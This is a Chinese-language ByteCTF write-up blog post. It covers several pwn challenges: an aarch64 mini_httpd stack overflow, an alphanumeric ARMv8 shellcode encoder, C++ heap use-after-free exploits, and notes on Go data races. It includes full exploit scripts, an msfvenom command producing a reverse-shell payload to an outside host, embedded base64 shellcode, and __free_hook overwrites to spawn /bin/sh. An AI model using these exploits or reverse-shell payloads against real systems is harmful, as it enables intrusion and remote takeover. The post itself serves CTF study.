分类 ByteCTF 下的文章

两个题都是aarch64

Master of HTTPD

分析

IoT题,aarch64,题目修改了mini_httpd的身份验证部分,加了一个输出认证信息的函数——没留意终端STDOUT...这里耽误了点时间。mini_httpd的源码可以在官网下载。

新加的函数在0x4046D0,base64完后的拷贝有栈溢出,刚好也比较好控制X30寄存器中的返回地址。

程序里面有个挺好用的万能gadget,就是控制起来麻烦点,好在bss段地址已知且内容可控,使得X19可以通过X29间接控制:

ext:0000000000407D78 loc_407D78                              ; CODE XREF: sub_407D30+64↓j
.text:0000000000407D78                 LDR             X3, [X21,X19,LSL#3]
.text:0000000000407D7C                 MOV             X2, X24
.text:0000000000407D80                 MOV             X1, X23
.text:0000000000407D84                 MOV             W0, W22
.text:0000000000407D88                 ADD             X19, X19, #1
.text:0000000000407D8C                 BLR             X3
.text:0000000000407D90                 CMP             X20, X19
.text:0000000000407D94                 B.NE            loc_407D78
.text:0000000000407D98                 LDR             X19, [X29,#0x10]
.text:0000000000407D9C
.text:0000000000407D9C loc_407D9C                              ; CODE XREF: sub_407D30+3C↑j
.text:0000000000407D9C                 LDP             X20, X21, [SP,#0x18]
.text:0000000000407DA0                 LDP             X22, X23, [SP,#0x28]
.text:0000000000407DA4                 LDR             X24, [SP,#0x38]
.text:0000000000407DA8                 LDP             X29, X30, [SP],#0x40
.text:0000000000407DAC                 RET

借助这个gadget先mprotect再执行shellcode。

为了触发http身份验证需要找到一个包含了 .htpasswd 文件的子目录。用dirsearch扫了一下发现http://xxx:xxx/admin/会请求身份验证,并且似乎只支持Basic验证方式。

由于题目是socket连接,STDIN和STDOUT不能直接控制,所以要去msf搞个反弹shell payload: msfvenom -a aarch64 -p linux/aarch64/shell/reverse_tcp lhost=139.224.195.57 lport=10005 -f base64

shellcode可以写在bss段上用来储存http请求的缓冲区

调试

HTTPD程序会有两次fork。第一次是如果没加 -D 进入daemon模式,程序会fork一个子进程然后kill掉父进程,这时候如果我们在attach到qemu的远程调试端口时下的断点会失效。不过这个好解决,启动参数加上-D就好了。

第二次是accept到一个新的客户端请求时会fork出一个子进程去 handle_request(),然后父进程close掉客户端的文件描述符继续循环accept...这里也会导致gdb断掉,可以在ida里面把fork后的逻辑改一下,让父进程去 handle_request() 即可。

EXP

from pwn import *
from base64 import b64encode, b64decode

context.arch = "aarch64"
context.os = "linux"
context.log_level = "debug"

fmt = '''GET /admin/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: 111111115.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.43
Authorization: Basic '''

def set_pack(payload:bytes):
    return fmt.encode()+b64encode(payload)+b"\n\n"

# base: 0x400000
perfet_gadget = '''
ext:0000000000407D78 loc_407D78                              ; CODE XREF: sub_407D30+64↓j
.text:0000000000407D78                 LDR             X3, [X21,X19,LSL#3]
.text:0000000000407D7C                 MOV             X2, X24
.text:0000000000407D80                 MOV             X1, X23
.text:0000000000407D84                 MOV             W0, W22
.text:0000000000407D88                 ADD             X19, X19, #1
.text:0000000000407D8C                 BLR             X3
.text:0000000000407D90                 CMP             X20, X19
.text:0000000000407D94                 B.NE            loc_407D78
.text:0000000000407D98                 LDR             X19, [X29,#0x10]
.text:0000000000407D9C
.text:0000000000407D9C loc_407D9C                              ; CODE XREF: sub_407D30+3C↑j
.text:0000000000407D9C                 LDP             X20, X21, [SP,#0x18]
.text:0000000000407DA0                 LDP             X22, X23, [SP,#0x28]
.text:0000000000407DA4                 LDR             X24, [SP,#0x38]
.text:0000000000407DA8                 LDP             X29, X30, [SP],#0x40
.text:0000000000407DAC                 RET
'''
arg_start = 0x423680
popen_gadget = 0x4062C4

dup2 = 0x401EA0
mprotect = 0x401F20

def exp():
    p = remote("39.106.54.108", 30002)
    payload = b"A"*0x100+p64(arg_start)+p64(0x407D98) # x29 x30
    payload += p64(0xdeadbeef)*2
    #===
    payload += p64(arg_start) + p64(0x407D78) # x29 x30
    payload += p64(0xdeadbeef) # padding
    payload += p64(1) + p64(arg_start) # x20 x21
    payload += p64(0x41c000) + p64(0x15000) # x22 x23
    payload += p64(7) # x24
    #===
    payload += p64(arg_start) + p64(arg_start+0x20) # x29 x30
    
    pack = set_pack(payload).ljust(0x400, b"\x00")
    # args
    f = {}
    f[0x0] = p64(mprotect)
    f[0x10] = p64(0) #x19
    f[0x18] = p64(0) #padding
    pack += fit(f) + b64decode(b"QACA0iEAgNICAIDSyBiA0gEAANTjAwCqQQMAEAICgNJoGYDSAQAA1GACADXgAwOqAgCA0gEAgNIIA4DSAQAA1CEAgNIIA4DSAQAA1EEAgNIIA4DSAQAA1IABABACAIDS4AMA+eIHAPnhAwCRqBuA0gEAANQAAIDSqAuA0gEAANQCACcVi+DDOS9iaW4vc2gAAAAAAAAAAAA=")
    p.send(pack)

    p.interactive()
if __name__ == "__main__":
    exp()

exsc

题目要求写一个三个页内的 aarch64 alphanumeric shellcode

理论

有相关论文 - 《ARMv8 Shellcodes from ‘A’ to ‘Z’》:https://arxiv.org/pdf/1608.03415.pdf,但是没找到现成的轮子

论文前面大半部分都在讲构造原理,主要是如何构造完成各种功能的原语,然后将这些原语组合起来实现更复杂的功能

附录是实现模板,可以改来用:

一个是encoder,PHP写的:

encoder.php

<?php
function mkchr($c) {
    return(chr(0x40 + $c));
}

$s = file_get_contents('shellcode.bin.tmp');
$p = file_get_contents('raw_shellcode.bin');
$b = 0x60; /* Synchronize with pool */

for($i=0; $i <strlen($p); $i++)
{
    $q = ord($p[$i]);
    $s[$b+2*$i ] = mkchr(($q >> 4) & 0xF);
    $s[$b+2*$i+1] = mkchr( $q & 0xF);
}

$s = str_replace('@', 'P', $s);
file_put_contents('shellcode.bin', $s);

echo 'done';
?>

另一个是decoder+内嵌payload,使用m4语法来描述,需要自己转换成可以用的shellcode指令

decoder.m4

divert (-1)
changequote ({,})
define ({LQ},{ changequote(‘,’){dnl}
changequote ({,})})
define ({RQ},{ changequote(‘,’)dnl{
}changequote ({,})})
changecom ({;})
define ({ concat},{$1$2})dnl
define ({ repeat}, {ifelse($1, 0, {}, $1, 1, {$2},
{$2
repeat(eval($1 -1), {$2})})})
define ({P}, 10)
define ({Q}, 11)
define ({S}, 2)
define ({A}, 18)
define ({B}, 25)
define ({U}, 26)
define ({Z}, 19)
define ({WA}, concat(W,A))
define ({WB}, concat(W,B))
define ({WP}, concat(W,P))
define ({XP}, concat(X,P))
define ({WQ}, concat(W,Q))
define ({XQ}, concat(X,Q))
define ({WS}, concat(W,S))
define ({WU}, concat(W,U))
define ({WZ}, concat(W,Z))
divert (0) dnl
/* Set P */
l1: ADR XP, l1+0 b010011000110100101101
/* Sync with pool */
SUBS WP, WP, #0x98 , lsl #12
SUBS WP, WP, #0xD19
/* Set Q */
l2: ADR XQ, l2+0 b010011000110001001001
/* Sync with TBNZ */
SUBS WQ, WQ, #0x98 , lsl #12
ADDS WQ, WQ, #0xE53
ADDS WQ, WQ, #0xC8C
/* Z:=0 */
ANDS WZ, WZ, WZ, lsr #16
ANDS WZ, WZ, WZ, lsr #16
/* S:=0 */
ANDS WS, WZ, WZ, lsr #12
/* Branch to code */
loop: TBNZ WS, #0b01011 , 0b0010011100001100
/* Load first byte in A */
LDRB WA, [XP, #76]
/* Load second byte in B */
LDRB WB, [XP, #77]
/* P+=2 */
ADDS WP, WP, #0xC1B
SUBS WP, WP, #0xC19
/* Mix A and B */
EON WA , WZ , WA , lsl #20
/* ANDS WB , WB, #0 xFFFF000F */
.word 0x72304C00 +33*B
EON WB , WB , WA , lsr #16
/* STRB B, [Q] */
STRB WB, [XQ, WZ, uxtw]
/* Q++ */
ADDS WQ, WQ, #0xC1A
SUBS WQ, WQ, #0xC19
/* S++ */
ADDS WS, WS, #0xC1A
SUBS WS, WS, #0xC19
TBZ WZ , #0b01001 , next
pool: repeat (978, {.word 0x42424242 })
/* NOPs */
next: repeat( 77, {ANDS WU, WU, WU, lsr #12})
TBZ WZ , #0b01001 , loop

解题

test.py

用于生成payload文件:decoder.txt
from pwn import *
from base64 import b64decode

context.arch = "aarch64"
#context.log_level = "debug"

#execve_sh = b'\xeeE\x8c\xd2.\xcd\xad\xf2\xee\xe5\xc5\xf2\xeee\xee\xf2\x0f\r\x80\xd2\xee?\xbf\xa9\xe0\x03\x00\x91\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xa8\x1b\x80\xd2\x01\x00\x00\xd4'
cat_flag = '''
/* push b'flag\x00' */
/* Set x14 = 1734437990 = 0x67616c66 */
mov x0, #0x1000
movk x0, #0x1000, lsl #16
movk x0, #0, lsl #0x20
movk x0, #0, lsl #0x30
mov sp, x0
mov x14, #27750
movk x14, #26465, lsl #16
str x14, [sp, #-16]!
/* call openat(-0x64, 'sp', 'O_RDONLY', 'x3') */
/* Set x0 = -100 = -0x64 */
mov x0, #65436
movk x0, #65535, lsl #16
movk x0, #65535, lsl #0x20
movk x0, #65535, lsl #0x30
mov x1, sp
mov x2, xzr
mov x8, #56
svc 0
/* call sendfile(1, 'x0', 0, 0x7fffffff) */
mov x1, x0
mov x0, #1
mov x2, xzr
/* Set x3 = 2147483647 = 0x7fffffff */
mov x3, #65535
movk x3, #32767, lsl #16
mov x8, #71
svc 0
'''
cat_flag = asm(cat_flag)
with open("./raw_shellcode.bin", "wb") as f:
    f.write(cat_flag)

decode_fmt_1 = '''
l1: ADR XP, l1+0 b010011000110100101101
/* Sync with pool */
SUBS WP, WP, #0x98 , lsl #12
SUBS WP, WP, #0xD19
/* Set Q */
l2: ADR XQ, l2+0 b010011000110001001001
/* Sync with TBNZ */
SUBS WQ, WQ, #0x98 , lsl #12
ADDS WQ, WQ, #0xE53
ADDS WQ, WQ, #0xC8C
/* Z:=0 */
ANDS WZ, WZ, WZ, lsr #16
25
ANDS WZ, WZ, WZ, lsr #16
/* S:=0 */
ANDS WS, WZ, WZ, lsr #12
/* Branch to code */
loop: TBNZ WS, #0b01011 , 0b0010011100001100
/* Load first byte in A */
LDRB WA, [XP, #76]
/* Load second byte in B */
LDRB WB, [XP, #77]
/* P+=2 */
ADDS WP, WP, #0xC1B
SUBS WP, WP, #0xC19
/* Mix A and B */
EON WA , WZ , WA , lsl #20
/* ANDS WB , WB, #0 xFFFF000F */
.word 0x72304C00 +33*B
EON WB , WB , WA , lsr #16
/* STRB B, [Q] */
STRB WB, [XQ, WZ, uxtw]
/* Q++ */
ADDS WQ, WQ, #0xC1A
SUBS WQ, WQ, #0xC19
/* S++ */
ADDS WS, WS, #0xC1A
SUBS WS, WS, #0xC19
TBZ WZ , #0b01001 , next
repeat (978, {.word 0x42424242 })
/* NOPs */
next: repeat( 77, {ANDS WU, WU, WU, lsr #12})
TBZ WZ , #0b01001 , loop
'''

# 解m4
decode_fmt_1 = decode_fmt_1.replace("WA", "W18")
decode_fmt_1 = decode_fmt_1.replace("WB", "W25")
decode_fmt_1 = decode_fmt_1.replace("WP", "W10")
decode_fmt_1 = decode_fmt_1.replace("XP", "X10")
decode_fmt_1 = decode_fmt_1.replace("WQ", "W11")
decode_fmt_1 = decode_fmt_1.replace("XQ", "X11")
decode_fmt_1 = decode_fmt_1.replace("WS", "W2")
decode_fmt_1 = decode_fmt_1.replace("WU", "W26")
decode_fmt_1 = decode_fmt_1.replace("WZ", "W19")

print(decode_fmt_1)

# 构造decoder
decoder = '''
l1: ADR X10, l1+0b010011000110100101101;
    SUBS W10, W10, #0x98 , lsl #12;
    SUBS W10, W10, #0xD19;
l2: ADR X11, l2+0b010011000110001001001;
    SUBS W11, W11, #0x98 , lsl #12;
    ADDS W11, W11, #0xE53;
    ADDS W11, W11, #0xC8C;
    ANDS W19, W19, W19, lsr #16;
    ANDS W19, W19, W19, lsr #16;
    ANDS W2, W19, W19, lsr #12;
loop: TBNZ W2, #0b01011 , 0b0010011100001100;
    LDRB W18, [X10, #76];
    LDRB W25, [X10, #77];
    ADDS W10, W10, #0xC1B;
    SUBS W10, W10, #0xC19;
    EON W18 , W19 , W18 , lsl #20;
    .word 0x72304f39;
    EON W25 , W25 , W18 , lsr #16;
    STRB W25, [X11, W19, uxtw];
    ADDS W11, W11, #0xC1A;
    SUBS W11, W11, #0xC19;
    ADDS W2, W2, #0xC1A;
    SUBS W2, W2, #0xC19;
    TBZ W19, #0b01001 , next;
'''
decoder += "    .word 0x42424242;\n"*978
decoder += "next:\n"
decoder += "    ANDS W26, W26, W26, lsr #12;\n"*77
decoder += "    TBZ W19 , #0b01001, loop;\n"

payload = asm(decoder).decode()
print(payload)
print("Len:", hex(len(payload)))

# ss由论文给的PHP脚本编码上面生成的 raw_shellcode.bin 后所得
ss = "PPPPHBMBPPPPJBOBPPPPLPOBPPPPNPOBAOPPPPIALNHLHMMBBNNLJLOBNNPOAOOHHPOCIOMBNPOOKOOBNPOOMOOBNPOOOOOBNAPCPPIANBPCAOJJPHPGHPMBPAPPPPMDNAPCPPJJBPPPHPMBNBPCAOJJNCOOIOMBNCOOJOOBNHPHHPMBPAPPPPMD"
# 嵌入 decoder 的 pool 部分
payload = payload[:payload.find("BBBBB")]+ss+payload[payload.find("BBBBB")+len(ss):]
print(payload)
print("Len:", hex(len(payload)))
with open("decoder.txt", "w") as f:
    # padding & save
    f.write(payload.ljust(0x2fff, "A"))

注意写到输出文件之前要padding到三个页的大小,由于题目使用mmap映射payload,如果大小不够会导致写后面的页时缺页异常无法正确处置从而触发段错误(被这玩意坑了几个小时

payload传到网站目录下让服务器去下载

exp.py

与远程交互
from pwn import *
import os
import string

context.arch = "aarch64"
context.log_level = "debug"

p = remote("39.106.54.108", 30004)
p.recvuntil(b"Enter one result of `")
cmd = p.recvuntil(b"`", drop=True)
res = os.popen(cmd.decode()).read()
p.send(res)
p.sendlineafter(b"shellcode url: ", b"http://app.eqqie.cn/decoder.txt")
p.interactive()

调试技巧

GDB+QEMU调试aarch64 shellcode会经常出各种问题导致无法继续单步下去,可以尝试手写unicorn调试器然后构造一个相似的上下文来单步分析——对于和解码相关的shellcode题特别有用。

这是我调试时用的脚本:

#!/usr/bin/env python
import sys
#sys.path = ['./site_pack']+sys.path
from pwn import *
import os
import struct
import types
from unicorn import *
from unicorn.arm64_const import *

context.arch = 'aarch64'

CODE = 0x10000000
STACK = 0x4000812000

main = b""
with open("decoder.txt", "rb") as f:
    main = f.read()

def setregs(uc):
    # 重建上下文
    uc.reg_write(UC_ARM64_REG_X0,0x0000000010000000)
    uc.reg_write(UC_ARM64_REG_X1,0x0000000000000001)
    uc.reg_write(UC_ARM64_REG_X2,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X3,0x00000040009b9500)
    uc.reg_write(UC_ARM64_REG_X4,0x00000000fbad2a84)
    uc.reg_write(UC_ARM64_REG_X5,0x0000000000000003)
    uc.reg_write(UC_ARM64_REG_X6,0x000000000000021a)
    uc.reg_write(UC_ARM64_REG_X7,0x0000000000000010)
    uc.reg_write(UC_ARM64_REG_X8,0x0000000000000040)
    uc.reg_write(UC_ARM64_REG_X9,0x00000000000003f3)
    uc.reg_write(UC_ARM64_REG_X10,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X11,0x0000000000000038)
    uc.reg_write(UC_ARM64_REG_X12,0x00000040008133c8)
    uc.reg_write(UC_ARM64_REG_X13,0x0000000000000002)
    uc.reg_write(UC_ARM64_REG_X14,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X15,0x0000000000000410)
    uc.reg_write(UC_ARM64_REG_X16,0x00000040008b8290)
    uc.reg_write(UC_ARM64_REG_X17,0x0000004000828540)
    uc.reg_write(UC_ARM64_REG_X18,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X19,0x0000004000000958)
    uc.reg_write(UC_ARM64_REG_X20,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X21,0x0000004000000740)
    uc.reg_write(UC_ARM64_REG_X22,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X23,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X24,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X25,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X26,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X27,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X28,0x0000000000000000)
    uc.reg_write(UC_ARM64_REG_X29,0x00000040008123f0)
    uc.reg_write(UC_ARM64_REG_X30,0x000000400000094c)
    uc.reg_write(UC_ARM64_REG_SP,0x00000040008123f0)


def debug_hook(uc, address, size, user_data):
    pc = uc.reg_read(UC_ARM64_REG_PC)
    print(f"pc[{hex(pc)}] => {disasm(uc.mem_read(pc,0x4))}")
    print(f"target[{hex(0x10002734)}]:\n {disasm(uc.mem_read(0x10002734,0x50))}")
    print('x18 : ',hex(uc.reg_read(UC_ARM64_REG_X18)))
    print('x25 : ',hex(uc.reg_read(UC_ARM64_REG_X25)))
    print('x10 : ',hex(uc.reg_read(UC_ARM64_REG_X10)))
    print('x11 : ',hex(uc.reg_read(UC_ARM64_REG_X11)))
    print('x2 : ',hex(uc.reg_read(UC_ARM64_REG_X2)))
    print('x26 : ',hex(uc.reg_read(UC_ARM64_REG_X26)))
    print('x19 : ',hex(uc.reg_read(UC_ARM64_REG_X19)))
    

def init(uc):
    uc.mem_map(CODE, 0x4000, UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC)
    uc.mem_write(CODE, main)
    uc.mem_map(STACK, 0x4000, UC_PROT_READ | UC_PROT_WRITE)
    uc.mem_write(STACK, b'hello\n')

    setregs(uc)
    #uc.hook_add(UC_HOOK_CODE, debug_hook, None, CODE+0x0, CODE+0x60)
    uc.hook_add(UC_HOOK_CODE, debug_hook, None, CODE+0x10e0, CODE+0x3000)


def play():
    uc = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
    init(uc)
    try:
        uc.emu_start(CODE, CODE + 0x3000)
    except UcError as e:
        print("error...")
        print(e)
        pc = uc.reg_read(UC_ARM64_REG_PC)
        print('pc : ',hex(pc))
        print('x18 : ',hex(uc.reg_read(UC_ARM64_REG_X18)))
        print('x25 : ',hex(uc.reg_read(UC_ARM64_REG_X25)))
        print('x10 : ',hex(uc.reg_read(UC_ARM64_REG_X10)))
        print('x11 : ',hex(uc.reg_read(UC_ARM64_REG_X11)))
        print('x2 : ',hex(uc.reg_read(UC_ARM64_REG_X2)))
        print('x26 : ',hex(uc.reg_read(UC_ARM64_REG_X26)))
        print('x19 : ',hex(uc.reg_read(UC_ARM64_REG_X19)))
        #print(disasm(uc.mem_read(pc,0x50)))
        print(disasm(uc.mem_read(0x10000000,0x100)))

if __name__ == '__main__':
    play()

bytezoom

C++下的堆利用,对于有C++基础的人来说应该很快看出要点在于错误的使用了shared_ptr的裸指针,形成悬挂指针,进而UAF

EXP:

from pwn import *
import time

#p = process("./bytezoom", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("39.105.37.172", 30012)
libc = ELF("./libc-2.31.so")
context.log_level = "debug"


def create(_type, idx:int, name, age:bytes):
    p.sendlineafter(b"choice:\n", b"1")
    p.sendlineafter(b"cat or dog?\n", _type)
    p.sendlineafter(b"input index:\n", str(idx).encode())
    p.sendlineafter(b"name:\n", name)
    p.sendlineafter(b"age:\n", age)
    
def show_message(_type, idx):
    p.sendlineafter(b"choice:\n", b"2")
    p.sendlineafter(b"cat or dog?\n", _type)
    p.sendlineafter(b"input index:\n", str(idx).encode())
    
def into_manager():
    p.sendlineafter(b"choice:\n", b"3")
    
def quit_manager():
    p.sendlineafter(b"choice:\n", b"4")
    
def manage_select(_type, idx):
    p.sendlineafter(b"choice:\n", b"1")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"input " + _type + b"'s index:\n", str(idx).encode())
    
def change_age(_type, add_years):
    p.sendlineafter(b"choice:\n", b"2")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"you want to add\n", add_years)
    
def change_name(_type, new_name):
    p.sendlineafter(b"choice:\n", b"3")
    p.sendlineafter(b"select cat or dog?\n", _type)
    p.sendlineafter(b"please input new name:\n", new_name)

# base: 0x0000555555554000
# base: 0x0000555555554000+0x12340  cat list
# base: 0x0000555555554000+0x12380  dog list
# selected: 0x0000555555554000+0x122E0

def exp():
    # leak libc
    create(b"dog", 0, b"a"*8, b"1")
    into_manager()
    manage_select(b"dog", 0)
    quit_manager()
    create(b"dog", 0, b"b"*8, b"1") # free prev
    create(b"cat", 0, b"c"*8, b"1") # selected
    create(b"cat", 1, b"x"*0x400, b"1") 
    into_manager()
    #gdb.attach(p)
    #pause()
    change_age(b"dog", b"889")
    change_age(b"dog", b"1279")
    quit_manager()
    show_message(b"cat", 0)
    p.recvuntil(b"name:")
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))
    
    # attack free_hook
    ## create 0x20 bin
    create(b"cat", 2, b"d"*0x50, b"1") 
    create(b"cat", 3, b"d"*0x50, b"1") 
    create(b"cat", 2, b"d"*0x30, b"1")
    create(b"cat", 3, b"d"*0x30, b"1") 
    into_manager()
    change_age(b"dog", b"160")
    manage_select(b"cat", 0)
    change_name(b"cat", p64(free_hook))
    quit_manager()
    ## get chunk at free_hook
    create(b"cat", 4, b"/bin/sh\x00"*(0x50//8), b"1") 
    create(b"cat", 5, p64(system)*(0x50//8), b"1") 
    print("free_hook:", hex(free_hook))
    ## get shell
    create(b"cat", 4, b"t"*0x100, b"1") 
    
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

chatroom

混了个一血

headless chrome,用CVE-2021-21224打,最好用msf自身的反弹shell payload, shell_reverse_tcp 这个payload究极不稳定,连上就断

ByteCSMS

思路:

  1. 同样是涉及C++数据结构的pwn,问题出在Vector内部和外部用户自定义的计数方式可能出现不匹配的情况:Vector内部通过指针差值右移4位(除0x10,即元素大小)来计算元素个数;而外部则通过一个全局变量(total)保存元素个数;当用户使用name作为索引删除元素时会一次性删除所有name相同的元素,而外部变量只递减了1,这样可以构造total远大于(ptr2-ptr1)>>4
  2. 构造方式:add很多次name为/bin/sh的元素,致使Vector过大而存放在mmap出来的内存段,从而与libc有固定偏移;通过upload保存此时的Vector;通过name索引的方式remove掉name为/bin/sh的元素,再通过download把这样元素添加回来,以此往复可以将total的值增加非常大;由于通过index索引方式edit元素时,检查范围的最大边界是由total标定的,这就使得用户可以越界读写;
  3. 估计好越界位置读出libc某个rw段上的指针,计算出libc基址(这一步只是泄露所以要注意好恢复原本的值);然后同样估计好__free_hook的位置用edit写上system地址;最后一步upload剩余的元素,使得存放upload元素的Vector发生realloc,free掉原来的堆块,将堆块头部的/bin/sh作为参数执行system("/bin/sh")

EXP:

from pwn import *

#p = remote("39.105.63.142", 30011)
p = remote("39.105.37.172", 30011)
libc = ELF("./libc-2.31.so.6")

context.log_level = "debug"

def add(name, score:int):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Enter the ctfer's name:\n", name)
    p.sendlineafter(b"Enter the ctfer's scores\n", str(score).encode())
    p.sendlineafter(b"enter the other to return\n", b"123")
    
def edit(n_or_i, new_name, new_score, way:str):
    p.sendlineafter(b"> ", b"3")
    p.recvuntil(b"2.Edit by index\n")
    if way == "name":
        p.sendline(b"1")
        p.sendline(n_or_i)
    elif way == "index":
        p.sendline(b"2")
        p.sendline(str(n_or_i).encode())
    else:
        return
    p.sendlineafter(b"Enter the new name:\n", new_name)
    p.sendlineafter(b"Enter the new score:\n", str(new_score).encode())
    
def remove(n_or_i, way:str):
    p.sendlineafter(b"> ", b"2")
    p.recvuntil(b"2.Remove by index\n")
    if way == "name":
        p.sendline(b"1")
        p.sendlineafter(b"to be deleted\n", n_or_i)
    elif way == "index":
        p.sendline(b"2")
        p.sendlineafter(b"Index?\n", str(n_or_i).encode())
    else:
        return
        
def upload():
    p.sendlineafter(b"> ", b"4")
        
def download():
    p.sendlineafter(b"> ", b"5")

# manager: 0x00007fffffffdbd0
# total: 0x0000555555607280
# base: 0x0000555555400000

def exp():
    p.sendlineafter(b"Password for admin:\n", b"\x00")
    while True:
        if p.recv(9) == b"Incorrect":
            p.sendlineafter(b"Password for admin:\n", b"\x00")
        else:
            break
    # leak addr
    add(b"/bin/sh", 100)
    add(b"/bin/sh", 100)
    for i in range(0x1000-2):
        add(b"/bin/sh", 100)
    upload()
    edit(0, b"aaaa", 100, "index")
    edit(1, b"aaaa", 100, "index")
    add(b"/bin/sh", 100)
    add(b"/bin/sh", 100)
    for i in range(90):
        remove(b"/bin/sh", "name")
        download()
    ## 358659 220931
    ## get addr
    p.sendlineafter(b"> ", b"3")
    p.recvuntil(b"2.Edit by index\n")
    p.sendline(b"2")
    #gdb.attach(p)
    #pause()
    p.sendlineafter(b"Index?\n", b"220931")
    #p.recv(0x30-2)
    p.recvuntil(b"220931\x09")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    #libc_base = libc_leak - 0x18b110
    libc_base = libc_leak - 0x18b2a0
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))
    #fix_addr = libc_base + 0x18ea70
    fix_addr = libc_base + 0x18ec00
    #gdb.attach(p)
    #pause()  
    p.sendlineafter(b"Enter the new name:\n", p64(libc_leak)+p64(fix_addr)[0:4])
    p.sendlineafter(b"Enter the new score:\n", str(u32(p64(fix_addr)[4:])).encode())
    #gdb.attach(p)
    #pause()
    
    # rewrite _free_hook
    ## 359601 221873
    #gdb.attach(p, "b *0x0000555555400000+0x1b9b\nc\n")
    edit(221873, p64(0)+p64(system)[0:4], u32(p64(system)[4:]), "index")
    print("free_hook:", hex(free_hook))
    #gdb.attach(p)
    #pause()
    
    ## get shell
    edit(0, b"/bin/sh", 100, "index")
    #gdb.attach(p, "b *0x0000555555400000+0x12dc\nc\n")
    remove(b"/bin/sh", "name")
    upload()
    print("free_hook:", hex(free_hook))
        
    p.sendline(b"cat flag;cat flag;cat flag;")
    p.interactive()

if __name__ == "__main__":
    exp()

一道google题

golang相关

一些特性

  • golang默认是静态编译,而且系统ASLR不作用在goroutine自己实现和维护的栈上。从这题上看,main调用了hack,所以对hack的改动不会影响main中数据在栈上的偏移。只要先在本地计算出hack第一个变量和flag之间的偏移,就可以计算出远程环境中flag在栈上的位置。
  • goroutine的模型大概如下(知乎看到的):

    • goroutine与系统线程模型
    • M是系统线程,P是上下文,G是一个goroutine。具体实现请移步:https://www.zhihu.com/question/20862617
    • 创建goroutine很容易,只需要go function_name()即可
  • 题目不允许import包,但是builtin包中有println可以用来打印信息(打印变量地址或值)

go中的数据结构

实现本题要用到的数据结构不多,只介绍go中常用于data race的数据结构

更详细的资料请移步文档:https://studygolang.com/pkgdoc

Struct

基本定义如下:

type struct_name struct {
    name type
}

Go 语言中没有类的概念,因此在 Go 中结构体有着更为重要的地位。结构体是复合类型(composite types),当需要定义一个类型,它由一系列属性组成,每个属性都有自己的类型和值的时候,就应该使用结构体,它把数据聚集在一起。

Interface

interface是一组method的集合,是duck-type programming的一种体现。接口做的事情就像是定义一个协议(规则),只要一台机器有洗衣服和甩干的功能,我就称它为洗衣机。不关心属性(数据),只关心行为(方法)。

接口(interface)也是一种类型。

一个对象只要全部实现了接口中的方法,那么就实现了这个接口。换句话说,接口就是一个需要实现的方法列表。

例子:

// Sayer 接口
type Sayer interface {
    say()
}

type dog struct {}

type cat struct {}

// dog实现了Sayer接口
func (d dog) say() {
    fmt.Println("汪汪汪")
}

// cat实现了Sayer接口
func (c cat) say() {
    fmt.Println("喵喵喵")
}

func main() {
    var x Sayer // 声明一个Sayer类型的变量x
    a := cat{}  // 实例化一个cat
    b := dog{}  // 实例化一个dog
    x = a       // 可以把cat实例直接赋值给x
    x.say()     // 喵喵喵
    x = b       // 可以把dog实例直接赋值给x
    x.say()     // 汪汪汪
}

可以看到,实现了接口方法的结构体变量可以赋值给接口变量,然后可以用该接口来调用被实现的方法。

值接收者和指针接收者实现接口的区别(这里不是很清楚,建议自己查):

当值接收者实现接口:

func (d dog) move() {
    fmt.Println("狗会动")
}
func main() {
    var x Mover
    var wangcai = dog{} // 旺财是dog类型
    x = wangcai         // x可以接收dog类型
    var fugui = &dog{}  // 富贵是*dog类型
    x = fugui           // x可以接收*dog类型
    x.move()
}

可以发现:使用值接收者实现接口之后,不管是dog结构体还是结构体指针*dog类型的变量都可以赋值给该接口变量。因为Go语言中有对指针类型变量求值的语法糖,dog指针fugui内部会自动求值*fugui

注意

当指针接收者实现接口:

func (d *dog) move() {
    fmt.Println("狗会动")
}
func main() {
    var x Mover
    var wangcai = dog{} // 旺财是dog类型
    x = wangcai         // x不可以接收dog类型
    var fugui = &dog{}  // 富贵是*dog类型
    x = fugui           // x可以接收*dog类型
}

此时实现Mover接口的是*dog类型,所以不能给x传入dog类型的wangcai,此时x只能存储*dog类型的值。

Slice

切片是数组的一个引用,因此切片是引用类型。但自身是结构体,值拷贝传递。

切片的底层数据结构:

type slice struct {  
    array unsafe.Pointer
    len   int
    cap   int
}

array是被引用的数组的指针,len是引用长度,cap是最大长度(也就是数组的长度)

Data race

比赛结束的时候查到这篇博客:http://wiki.m4p1e.com/article/getById/90

以及它的引用(讲得比较好,建议看这个):https://blog.stalkr.net/2015/04/golang-data-races-to-break-memory-safety.html

这两篇博客解释了data race的原理

